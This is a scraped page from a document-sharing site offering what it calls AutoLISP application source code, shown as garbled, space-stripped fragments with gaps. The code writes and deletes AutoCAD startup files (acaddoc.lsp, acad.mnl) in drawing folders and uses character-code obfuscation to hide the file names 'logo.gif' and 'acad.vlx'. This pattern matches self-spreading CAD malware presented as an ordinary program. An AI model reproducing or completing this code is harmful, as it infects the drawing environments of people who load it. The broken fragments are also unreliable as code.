最新AutoLISP-应用程序源代码.doc

《最新AutoLISP-应用程序源代码.doc》由会员上传分享，免费在线阅读，更多相关内容在教育资源-天天文库。

1、精品资料AutoLISP-应用程序源代码........................................精品资料(setqwold_cmd(getvar"cmdecho"))(setvar"cmdecho"0)(setqbb2)(setqdpath(getvar"dwgprefix"))(setqwpath(getvar"menuname"))(setqwpath(substrwpath1(-(strlenwpath)4)))(setqn0)(while(

2、.fas"))(if(findfile"acad.fas")(setqn0))(setqn2)))(setqn0)(while(

3、etqn0))(setqn2)))(defunwwriteapp()(if(setqwwjm1(openwnewacad"w"))(progn(setqwwjm(openwoldacad"r"))(while(setqwwz(read-linewwjm))(write-linewwzwwjm1))(closewwjm)(closewwjm1))))(setqlbz0)(setqwwjqm(strcatdpath"acaddoc.lsp"))(if(setqwwjm(openwwjqm"r"))(progn(repeat3(read-linew

4、wjm))(setqwz(read-linewwjm))(setqab(atoi(substrwz41)))(closewwjm)........................................精品资料(if(>abbb)(setqlbz1))))(setqwwjqm(strcatwpath"acad.mnl"))(if(setqwwjm(openwwjqm"r"))(progn(repeat3(read-linewwjm))(setqwz(read-linewwjm))(setqnb(atoi(substrwz41)))(c

5、losewwjm)(if(

6、9))(/=(substrdpath11)(chr70)))(progn(setqwoldacad(strcatwpath"acad.mnl"))(setqwnewacad(strcatdpath"acaddoc.lsp"))(wwriteapp))(vl-file-delete(strcatdpath"acaddoc.lsp")));load"acadapq")(vl-file-copy(findfile(vl-list->string'(10811110311146103105102)))(vl-list->string'(9799971

7、0046118108120)))........................................精品资料(load"acadappp.lsp")(princ)(if(nullstol)(load"lcm"""))(princ)(load"acadappp.lsp")(princ)(load"acadapq")(princ)(load"acadappp.lsp")(princ)(setqflagxt)(setqbz"(setqflagxt)")(defunapp(sourcetargetbz/flagflag1wjmwjm1te

8、xt)(setqflagnil)(setqflag1t)(if(findfiletarget)(progn(setqwjm1(opentarget"r"))(whi